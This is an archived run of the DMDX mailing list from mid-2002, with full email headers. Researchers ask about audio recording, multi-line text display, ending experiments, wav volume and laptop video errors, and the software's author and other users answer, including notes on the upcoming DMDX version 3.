software can be used as DigitalVOX and RecordVocal devices? Thank you. Darius >From DMDX-owner@psy1.psych.arizona.edu Thu Jul 25 04:45:50 2002 Received: from psych.york.ac.uk (psysgi1.york.ac.uk [144.32.162.63]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with SMTP id g6PBjJMS001651 for ; Thu, 25 Jul 2002 04:45:20 -0700 Received: (qmail 18774 invoked from network); 25 Jul 2002 11:46:43 -0000 Received: from laurel1.york.ac.uk (HELO laurel1.psych.york.ac.uk) (144.32.163.33) by psysgi1.york.ac.uk with SMTP; 25 Jul 2002 11:46:43 -0000 Message-Id: <4.3.2.7.2.20020725124257.00c1f4a0@pop.psych.york.ac.uk> Date: Thu, 25 Jul 2002 12:47:12 +0100 To: DMDX@psy1.psych.arizona.edu From: Gareth Gaskell Subject: [DMDX] Re: About DirectSoundCapture In-Reply-To: <3D41E698@webmailb.hku.hk> Mime-Version: 1.0 Content-Type: multipart/mixed; x-avg-checked=avg-ok-465C2EDE; boundary=""=======647C5FA3======="" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list --=======647C5FA3======= Content-Type: text/plain; x-avg-checked=avg-ok-465C2EDE; charset=us-ascii; format=flowed Content-Transfer-Encoding: 8bit At 16:49 25/07/2002 +0800, you wrote: >But I am not sure where I can download or find out the Direct Sound Capture. >Also, which kind of microphone and sound-recording software can be used as >DigitalVOX and RecordVocal devices? Hi Darius, Direct Sound is part of DirectX, which you should already have installed to run DMDX. No other sound recording software is needed, so all you need is a microphone that can plug into your sound card. Some microphones are specially made for computer soundcards, or you can use a microphone and preamplifier with a connector to your soundcard. Gareth =========================================================== Gareth Gaskell Department of Psychology University of York Heslington, York YO10 5DD UK Phone: 01904 433187 Fax: 01904 433181 Email: g.gaskell@psych.york.ac.uk Home page: http://www-users.york.ac.uk/~mgg5/ Research group: http://www.york.ac.uk/res/prg/ =========================================================== --=======647C5FA3=======-- >From DMDX-owner@psy1.psych.arizona.edu Mon Jul 29 09:25:24 2002 Received: from pp.dundee.ac.uk (pp.dundee.ac.uk [134.36.2.60]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g6TGOkMS011806 for ; Mon, 29 Jul 2002 09:24:47 -0700 Received: from psychology.dundee.ac.uk ([134.36.104.15]) by pp.dundee.ac.uk with esmtp (Exim 3.22 #2) id 17ZDLL-00047b-00 for DMDX@psy1.psych.arizona.edu; Mon, 29 Jul 2002 17:25:59 +0100 Received: from PSYCH/SpoolDir by psychology.dundee.ac.uk (Mercury 1.48); 29 Jul 02 17:25:59 +0000 Received: from SpoolDir by PSYCH (Mercury 1.48); 29 Jul 02 17:25:36 +0000 From: ""Maria Nella Carminati"" To: DMDX@psy1.psych.arizona.edu Date: Mon, 29 Jul 2002 17:25:29 +0100 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: [DMDX] displaying more than one line at a time Message-ID: <3D457A8B.6730.1D42BC0@localhost> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hello, I am preparing a self paced reading experiment and I'm new to DMDX. I cannot get DMDX to display the following question plus answers as I want. I'd like the participant to view the question and two possible answers below the question, as one frame, as follows: What does the last word you read rhyme with? bun scam So far I'm getting 'bun' and 'scam' on the same line as the question. Note also that I want a space between the question and the answers. Can somebody help me? Maria Nella Dr.Maria Nella Carminati Dept.Of Psychology University Of Dundee Dundee DD1 4HN Scotland Phone: *44 (0) 1382 348 259 Fax: *44 (0) 1382 229 993 >From DMDX-owner@psy1.psych.arizona.edu Mon Jul 29 09:44:50 2002 Received: from yellow.csi.cam.ac.uk (exim@yellow.csi.cam.ac.uk [131.111.8.67]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g6TGilMS011889 for ; Mon, 29 Jul 2002 09:44:47 -0700 Received: from njsjg2 (helo=localhost) by yellow.csi.cam.ac.uk with local-esmtp (Exim 4.10) id 17ZDeo-0003kQ-00 for DMDX@psy1.psych.arizona.edu; Mon, 29 Jul 2002 17:46:06 +0100 Date: Mon, 29 Jul 2002 17:46:06 +0100 (BST) From: ""Nicholas J.S. Gibson"" To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: displaying more than one line at a time In-Reply-To: <3D457A8B.6730.1D42BC0@localhost> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi Maria > Hello, I am preparing a self paced reading experiment and I'm new to > DMDX. I cannot get DMDX to display the following question plus answers > as I want. I'd like the participant to view the question and two > possible answers below the question, as one frame, as follows: Do a search in the DMDX help file for ""Text Row keyword"". Here's an example: 0 ""To answer YES, press the key marked [Y]."", ""To answer NO, press the key marked [N]."" , ""Please press SPACEBAR to continue.""; This would present To answer YES, press the key marked [Y] To answer NO, press the key marked [N] Please press SPACEBAR to continue. > So far I'm getting 'bun' and 'scam' on the same line as the > question. Note also that I want a space between the question and the > answers. Can somebody help me? I shouldn't think there is a problem with a space between the words though I've not tried this myself. There's a DMDX tutorial at http://www.mrc-cbu.cam.ac.uk/Language/DMDX/dmdx_tutorial.html together with some example scripts (including a self paced reading experiment). It is also well worth reading the whole of the DMDX help file through -- it's not easy on the first attempt but will save you time in the long run! Best wishes, Nicholas Gibson -- Psychology and Religion Research Programme Faculty of Divinity, University of Cambridge West Road, Cambridge, CB3 9BS, UK phone/fax: +44 1223 763010/763003 http://www.divinity.cam.ac.uk/pcp/ >From DMDX-owner@psy1.psych.arizona.edu Mon Jul 29 13:12:23 2002 Received: from ux10.cso.uiuc.edu (root@ux10.cso.uiuc.edu [128.174.5.79]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g6TKB9MS012383 for ; Mon, 29 Jul 2002 13:11:09 -0700 Received: from qixi.uiuc.edu (qixi.cogsci.uiuc.edu [130.126.117.84]) by ux10.cso.uiuc.edu (8.11.0/8.11.0) with ESMTP id g6TKCRO11912 for ; Mon, 29 Jul 2002 15:12:27 -0500 (CDT) Message-Id: <5.1.0.14.0.20020729151003.03f99910@students.uiuc.edu> Date: Mon, 29 Jul 2002 15:14:28 -0500 To: DMDX@psy1.psych.arizona.edu From: Rongchun Subject: [DMDX] Question of terminating an item file Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi DMDX folks, I believe this will be very easy to some of you. A problem is about terminating an item file. After the subject monitor shows the final material, the screen will stop there. And on the experimenter screen, no mouse arrow shows up. Mouse moving and clicking help to jump in the box of picking RTF files to run, but the error like 'video not ready' comes out. Alt+F4 will cause no data to be saved. Then running any DMDX file needs restarting pc. I am wondering if it's relevant to the end of my item file. It ends like: =2789 ""+""/*""ninety eight""; (The last stimulus) $ 0""End of the session! ""; $ I appreciate your time and suggestion. Best, Rong Rong Chun Zhu 502 W Main St, #129 Urbana, IL 61801 >From DMDX-owner@psy1.psych.arizona.edu Mon Jul 29 13:56:58 2002 Received: from mhub-w2.tc.umn.edu (mhub-w2.tc.umn.edu [160.94.160.45]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g6TKusMS012528 for ; Mon, 29 Jul 2002 13:56:55 -0700 Received: from qix.software.umn.edu by mhub-w2.tc.umn.edu with ESMTP for DMDX@psy1.psych.arizona.edu; Mon, 29 Jul 2002 15:58:13 -0500 Received: (from nobody@localhost) by qix.software.umn.edu (8.11.4/8.11.4) id g6TKwXd08460; Mon, 29 Jul 2002 15:58:33 -0500 Message-Id: <200207292058.g6TKwXd08460@qix.software.umn.edu> Date: Mon, 29 Jul 2002 15:58:33 CDT From: ""Stephen D. Benning"" Subject: [DMDX] Re: Question of terminating an item file To: DMDX@psy1.psych.arizona.edu MIME-Version: 1.0 Content-Type: TEXT/plain; CHARSET=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list On 29 Jul 2002, Rongchun wrote: > Hi DMDX folks, > > I believe this will be very easy to some of you. > > A problem is about terminating an item file. After the subject monitor > shows the final material, the screen will stop there. And on the > experimenter screen, no mouse arrow shows up. Mouse moving and clicking > help to jump in the box of picking RTF files to run, but the error like > 'video not ready' comes out. Alt+F4 will cause no data to be saved. Then > running any DMDX file needs restarting pc. If I understand your question right, you should be able to just hit the Escape key on your keyboard, at which point a prompt asking you if you want to save your data will pop up (usually, you'll want to say yes to this unless you're just debugging). > I am wondering if it's relevant to the end of my item file. It ends like: > =2789 ""+""/*""ninety eight""; (The last stimulus) > $ > 0""End of the session! ""; > $ > > > > I appreciate your time and suggestion. > > > Best, > Rong > > > > Rong Chun Zhu > 502 W Main St, #129 > Urbana, IL 61801 > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > Stephen Benning 75 East River Road Office: N631 Minneapolis, MN 55455 >From DMDX-owner@psy1.psych.arizona.edu Mon Jul 29 13:57:30 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g6TKvRMS012556 for ; Mon, 29 Jul 2002 13:57:28 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.053) id 3D3CA611000CA305 for DMDX@psy1.psych.arizona.edu; Mon, 29 Jul 2002 13:58:47 -0700 Message-Id: <5.1.0.14.2.20020729135600.00b13150@psy1.psych.arizona.edu> Date: Mon, 29 Jul 2002 13:58:46 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Question of terminating an item file In-Reply-To: <5.1.0.14.0.20020729151003.03f99910@students.uiuc.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:14 PM 7/29/2002 -0500, you wrote: >Hi DMDX folks, > > I believe this will be very easy to some of you. > > A problem is about terminating an item file. After the subject monitor > shows the final material, the screen will stop there. And on the > experimenter screen, no mouse arrow shows up. Mouse moving and clicking > help to jump in the box of picking RTF files to run, but the error like > 'video not ready' comes out. Alt+F4 will cause no data to be saved. Then > running any DMDX file needs restarting pc. Press ESC to end an experiment. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ I go on working for the same reason that a hen goes on laying eggs. - H. L. Mencken >From DMDX-owner@psy1.psych.arizona.edu Mon Jul 29 16:37:36 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g6TNb6MS012932 for ; Mon, 29 Jul 2002 16:37:06 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.053) id 3D3CA611000CFC3D for DMDX@psy1.psych.arizona.edu; Mon, 29 Jul 2002 16:38:24 -0700 Message-Id: <5.1.0.14.2.20020729155607.00b13150@psy1.psych.arizona.edu> Date: Mon, 29 Jul 2002 16:26:23 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] FYI Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I'm currently porting DMDX to the Microsoft Visual C++ 6 compiler and there will be several repercussions. First, the version number will be 3 and the previous 3D work will be dropped. Also, there will be a semi-major version number (as in 3.0.0.00) added as I expect version 3 will be around for large number of years. I don't think the 3D path is going to eventuate so DMDX's current structure is likely to have extreme longevity and I'm going to need more flexibility for version numbers. Lastly, Windows 95 support is going to be dropped. The current version 2.9.05 will get archived for anyone that needs 95 for an OS as 1.3.01 is currently archived for anyone that needs 486 processor support. Other than that no one should be able to tell the difference although several aspects of the program are likely to become significantly optimized (notably the high performance timer code). There may be other repercussions, I'll know as the work proceeds. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ I go on working for the same reason that a hen goes on laying eggs. - H. L. Mencken >From DMDX-owner@psy1.psych.arizona.edu Thu Aug 1 16:59:56 2002 Received: from deakin.edu.au ([128.184.136.2]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g71NwxMS020307 for ; Thu, 1 Aug 2002 16:59:00 -0700 Received: from PSG-G-MARIANH.deakin.edu.au (128-184-81-134.psy.deakin.edu.au [128.184.81.134]) by deakin.edu.au (8.12.3/8.11.4) with ESMTP id g71NxeFh028357 for ; Fri, 2 Aug 2002 09:59:44 +1000 (EST) Message-Id: <4.3.1.1.20020802100026.0171f2c8@mail.deakin.edu.au> Date: Fri, 02 Aug 2002 10:04:26 +1000 To: DMDX@psy1.psych.arizona.edu From: Marina Haywood Subject: [DMDX] Constant volume for wav files Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi I'm setting up experiments for auditory presentation. Each of 10 words is saved as a separate wav file and five of those words are randomly selected for each trial, e.g. trial 1 might have: word10.wav, word5.wav, word2.wav, word 4.wav and word1.wav. The script is working fine but we don't know how to get DMDX to play the wav files at a constant volume, so wav file 1 doesn't sound louder than wav file 2. Is it possible to do this within DMDX or do we need to go to an audio edit software program. Thanks in anticipation _________________________________________________ Marina Haywood, Ph.D. School of Psychology Deakin University Waurn Ponds Campus Geelong Vic 3217 Australia e-mail: marinah@deakin.edu.au Tel: +61 3 5227 2925 Fax: + 61 3 5227 2021 Mobile: 0417 39 8482 >From DMDX-owner@psy1.psych.arizona.edu Thu Aug 1 18:06:59 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g7216pMS020479 for ; Thu, 1 Aug 2002 18:06:51 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.24) by deimos.email.Arizona.EDU (6.0.053) id 3D49B17D00005889 for DMDX@psy1.psych.arizona.edu; Thu, 1 Aug 2002 18:08:00 -0700 Message-Id: <5.1.0.14.2.20020801175908.00b127a8@psy1.psych.arizona.edu> Date: Thu, 01 Aug 2002 18:07:59 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Constant volume for wav files In-Reply-To: <4.3.1.1.20020802100026.0171f2c8@mail.deakin.edu.au> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:04 AM 8/2/2002 +1000, you wrote: >Hi > >I'm setting up experiments for auditory presentation. Each of 10 words is >saved as a separate wav file and five of those words are randomly selected >for each trial, e.g. trial 1 might have: word10.wav, word5.wav, word2.wav, >word 4.wav and word1.wav. > >The script is working fine but we don't know how to get DMDX to play the >wav files at a constant volume, so wav file 1 doesn't sound louder than >wav file 2. Is it possible to do this within DMDX or do we need to go to >an audio edit software program. Yes, but you'll have to determine the volumes empirically, there's no automatic way to normalize wave files. OTOH, using something like CoolEdit 2000 will let you normalize everything automatically, it's even got the ability to batch the same commands to a bunch of files so theoretically it's one command once it's setup. I thoroughly recommend actually reading the help files with DMDX. From the root of the DMDX help file (available by pressing the Help button from DMDX's primary dialog when it's running): http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhdmdx.htm Follow the link to the Sound section: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhsound.htm Down the bottom it mentions: As of version 0.26 of DMDX precise control over the panning and volume of a buffer is offered. Two new keywords are available to exercise this control, and . Or you could look at the Keywords section: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhkeywords.htm And then Audio keywords: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhaudiokeywords.htm Then there's Set the Volume of a .WAV file: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhvolumekeyword.htm /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ But scientists, who ought to know Assure us that it must be so. Oh, let us never, never doubt What nobody is sure about. - Hilaire Belloc >From DMDX-owner@psy1.psych.arizona.edu Mon Aug 5 03:27:30 2002 Received: from cooper.uws.edu.au (cooper.uws.edu.au [137.154.210.65]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g75AQNMS028391 for ; Mon, 5 Aug 2002 03:26:24 -0700 Received: from a8o2y7 ([137.154.102.37]) by cooper.uws.edu.au (8.11.3/8.11.3/UWS-STAFF-1.2) with SMTP id g75ARJ123764 for ; Mon, 5 Aug 2002 20:27:19 +1000 (EST) Message-ID: <001701c23c69$85c666c0$25669a89@a8o2y7> From: ""Arch Tibben"" To: Subject: [DMDX] trials Date: Mon, 5 Aug 2002 20:18:12 +1000 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0014_01C23CBD.39004640"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_0014_01C23CBD.39004640 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi I am trying to run dmdx on a laptop Toshiba TE2000 I have pictures which I wish to display for a short time I have had little success=20 I'm having several problems from which the following questions emanate when I try and set up the video mode the following message appears error massage when setting the video is DDERR_invalidpixelfromat = (88760091) pixel format was invalid as specified I have set the video mode to 1024*768*16bit =20 my display adapter is a trident cyberblade XP AiT DAC integrated ram 16mb trident video accelerator Do I need to load a newer version of DMDX from the net win 2000? = however I have tried this and can no longer access this page. Any help at this stage , would be appreciated Arch ------=_NextPart_000_0014_01C23CBD.39004640 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi I am trying to run dmdx on a laptop = Toshiba=20 TE2000   I have pictures which I wish to display = for a short=20 time   I have had little = success  I'm having several problems from which = the=20 following questions emanate   when I try and set up the video mode = the following=20 message appears   error massage  when setting the = video is=20 DDERR_invalidpixelfromat (88760091) pixel format was invalid as=20 specified I have set the video mode to = 1024*768*16bit =20   my display adapter is a trident = cyberblade XP=20 AiT DAC integrated ram 16mb trident video accelerator   Do I need to load a newer version of =  DMDX=20 from the net  win 2000? however I have tried this and can no longer = access=20 this page.   Any help at this stage , would be=20 appreciated   Arch ------=_NextPart_000_0014_01C23CBD.39004640-- >From DMDX-owner@psy1.psych.arizona.edu Mon Aug 5 08:59:35 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g75FgZMS029023 for ; Mon, 5 Aug 2002 08:42:35 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.24) by deimos.email.Arizona.EDU (6.0.053) id 3D49B17D00057730 for DMDX@psy1.psych.arizona.edu; Mon, 5 Aug 2002 08:43:33 -0700 Message-Id: <5.1.0.14.2.20020805083300.00b12748@psy1.psych.arizona.edu> Date: Mon, 05 Aug 2002 08:43:29 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: trials In-Reply-To: <001701c23c69$85c666c0$25669a89@a8o2y7> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 08:18 PM 8/5/2002 +1000, you wrote: >Hi I am trying to run dmdx on a laptop Toshiba TE2000 > >I have pictures which I wish to display for a short time > >I have had little success >I'm having several problems from which the following questions emanate > >when I try and set up the video mode the following message appears > >error massage when setting the video is DDERR_invalidpixelfromat >(88760091) pixel format was invalid as specified >I have set the video mode to 1024*768*16bit Hmm, how interesting. You're sure the laptop is capable of 1024x768? Maybe it's only a 800x600 or 640x480 LCD and it freaks when you try to go beyond what it's capable of. OTOH, it is complaining about the pixel format so you might try 1024x768x8 or 1024x768x32 (or 1024x768x24 if it doesn't enumerate the 32 bit mode). >my display adapter is a trident cyberblade XP AiT >DAC integrated ram >16mb >trident video accelerator > >Do I need to load a newer version of DMDX from the net win 2000? however >I have tried this and can no longer access this page. Do you mean you can't access the latest version of DMDX or the latest version of DirectX? I can certainly download the latest DMDX so I can't see how you wouldn't be able to: http://www.u.arizona.edu/~jforster/dmdx/DMDX.zip I no longer provide mirrors of the various versions of DirectX so you'll have to go digging on MS's site for that: http://www.microsoft.com/windows/directx/downloads/drx81.asp If you are using windows 2000 (your wording is unclear) then you might have to apply the latest service pack (SP3): http://www.microsoft.com/windows2000/downloads/servicepacks/sp3/default.asp /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ But scientists, who ought to know Assure us that it must be so. Oh, let us never, never doubt What nobody is sure about. - Hilaire Belloc >From DMDX-owner@psy1.psych.arizona.edu Mon Aug 5 23:07:33 2002 Received: from cooper.uws.edu.au (cooper.uws.edu.au [137.154.210.65]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g7666rMS030383 for ; Mon, 5 Aug 2002 23:06:53 -0700 Received: from ITP003021 (caligula-asy-13.uws.edu.au [137.154.196.175]) by cooper.uws.edu.au (8.11.3/8.11.3/UWS-STAFF-1.2) with SMTP id g7667i113335 for ; Tue, 6 Aug 2002 16:07:45 +1000 (EST) From: ""Arch Tibben"" To: Subject: [DMDX] RE: Re: trials Date: Tue, 6 Aug 2002 15:53:26 +1000 Message-ID: <000001c23d0f$dae6ae70$afc49a89@ITP003021> MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit In-Reply-To: <5.1.0.14.2.20020805083300.00b12748@psy1.psych.arizona.edu> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi Jonathan I still keep getting the error message when setting the video is... DDERR_invalidpixelformat >(88760091) pixel format was invalid as specified.....when trying to run the test on basic video mode......HOWEVER when I run my own experiment (dot probe) I find that it runs ok on 1024, 786, 786, 16,0...the only problem is that the colour quality of the picture (bmp) gets better as the picture gets larger??. Unfortunately I need face images 4 by 6cm on the laptop screen. These pictures appear with small square matrix format with the edges (inconsistant)of the squares bright coloured (green red)are clearly visable.. depending on the closest tone colour... Is there a pixel problem here? I have set the colour format/setting in the display (control panel)several times but find that I keep coming up with the above error arch -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of j.c.f. Sent: Tuesday, 6 August 2002 1:43 AM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: trials At 08:18 PM 8/5/2002 +1000, you wrote: >Hi I am trying to run dmdx on a laptop Toshiba TE2000 > >I have pictures which I wish to display for a short time > >I have had little success >I'm having several problems from which the following questions emanate > >when I try and set up the video mode the following message appears > >error massage when setting the video is DDERR_invalidpixelfromat >(88760091) pixel format was invalid as specified >I have set the video mode to 1024*768*16bit Hmm, how interesting. You're sure the laptop is capable of 1024x768? Maybe it's only a 800x600 or 640x480 LCD and it freaks when you try to go beyond what it's capable of. OTOH, it is complaining about the pixel format so you might try 1024x768x8 or 1024x768x32 (or 1024x768x24 if it doesn't enumerate the 32 bit mode). >my display adapter is a trident cyberblade XP AiT >DAC integrated ram >16mb >trident video accelerator > >Do I need to load a newer version of DMDX from the net win 2000? however >I have tried this and can no longer access this page. Do you mean you can't access the latest version of DMDX or the latest version of DirectX? I can certainly download the latest DMDX so I can't see how you wouldn't be able to: http://www.u.arizona.edu/~jforster/dmdx/DMDX.zip I no longer provide mirrors of the various versions of DirectX so you'll have to go digging on MS's site for that: http://www.microsoft.com/windows/directx/downloads/drx81.asp If you are using windows 2000 (your wording is unclear) then you might have to apply the latest service pack (SP3): http://www.microsoft.com/windows2000/downloads/servicepacks/sp3/default.asp /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ But scientists, who ought to know Assure us that it must be so. Oh, let us never, never doubt What nobody is sure about. - Hilaire Belloc ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Tue Aug 6 09:04:05 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g76FngMS031474 for ; Tue, 6 Aug 2002 08:49:42 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.24) by phobos.email.Arizona.EDU (6.0.053) id 3D49B2450007B071 for DMDX@psy1.psych.arizona.edu; Tue, 6 Aug 2002 08:50:37 -0700 Message-Id: <5.1.0.14.2.20020806084246.00b12748@psy1.psych.arizona.edu> Date: Tue, 06 Aug 2002 08:50:36 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] RE: Re: trials In-Reply-To: <000001c23d0f$dae6ae70$afc49a89@ITP003021> References: <5.1.0.14.2.20020805083300.00b12748@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:53 PM 8/6/2002 +1000, you wrote: >Hi Jonathan > >I still keep getting the error message when setting the video is... >DDERR_invalidpixelformat > >(88760091) pixel format was invalid as specified.....when trying to run the >test on basic video mode......HOWEVER when I run my own experiment (dot >probe) I find that it runs ok on 1024, 786, 786, 16,0...the only problem is >that the colour quality of the picture (bmp) gets better as the picture gets >larger??. Unfortunately I need face images 4 by 6cm on the laptop screen. >These pictures appear with small square matrix format with the edges >(inconsistant)of the squares bright coloured (green red)are clearly >visable.. depending on the closest tone colour... Is there a pixel problem >here? I have set the colour format/setting in the display (control >panel)several times but find that I keep coming up with the above error Settings in the control panel have no relevance at all, they control the desktop and DMDX does not use the desktop. I expect you are doing something invalid, if you can't run the basic test in TimeDX how are you timing it's parameters? And if you can't time it's parameters you sure can't select that video mode in DMDX. Assuming there's some communication problem and I'm not understanding your description of the error I suggest you go hunt up some newer display drivers as the old ones are almost guaranteed to be the cause of your problems. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ But scientists, who ought to know Assure us that it must be so. Oh, let us never, never doubt What nobody is sure about. - Hilaire Belloc >From DMDX-owner@psy1.psych.arizona.edu Tue Aug 13 14:51:10 2002 Received: from deimos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g7DLnpMS016200 for ; Tue, 13 Aug 2002 14:49:51 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.053) id 3D56EE8C000431A1 for DMDX@psy1.psych.arizona.edu; Tue, 13 Aug 2002 14:50:24 -0700 Message-Id: <5.1.0.14.2.20020813143910.00b13050@psy1.psych.arizona.edu> Date: Tue, 13 Aug 2002 14:49:42 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] PIO spikes Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list In the process of interfacing DMDX 3 to the utterly wretched and totally overpriced Keithley KPCI-PIO24 it occurs to me that as a side effect of it's pathetic driver interface it's going to solve the spike problem someone was having a few months ago. The card is not configurable by DMDX, it has to be configured by the user (good luck figuring out how to to that) but once it has been configured (and the machine restarted of course) it's that way the whole time windows is running -- which means there won't be any glitches as DMDX configures it (because DMDX can't configure it). So whoever was trying to get DMDX to trigger an external device but was getting false triggers as DMDX started running the job might solve their problems by buying one of these once I release version 3 -- but at 3 times the cost of a Computer Boards card it's pretty hard to recommend. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ I go on working for the same reason that a hen goes on laying eggs. - H. L. Mencken >From DMDX-owner@psy1.psych.arizona.edu Wed Aug 14 12:38:26 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g7EJbqMS019013 for ; Wed, 14 Aug 2002 12:37:52 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.053) id 3D5A23F60001134E for DMDX@psy1.psych.arizona.edu; Wed, 14 Aug 2002 12:38:21 -0700 Message-Id: <5.1.0.14.2.20020814121500.00b13058@psy1.psych.arizona.edu> Date: Wed, 14 Aug 2002 12:38:21 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Keithley interface cards and their DriverLINX drivers Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: 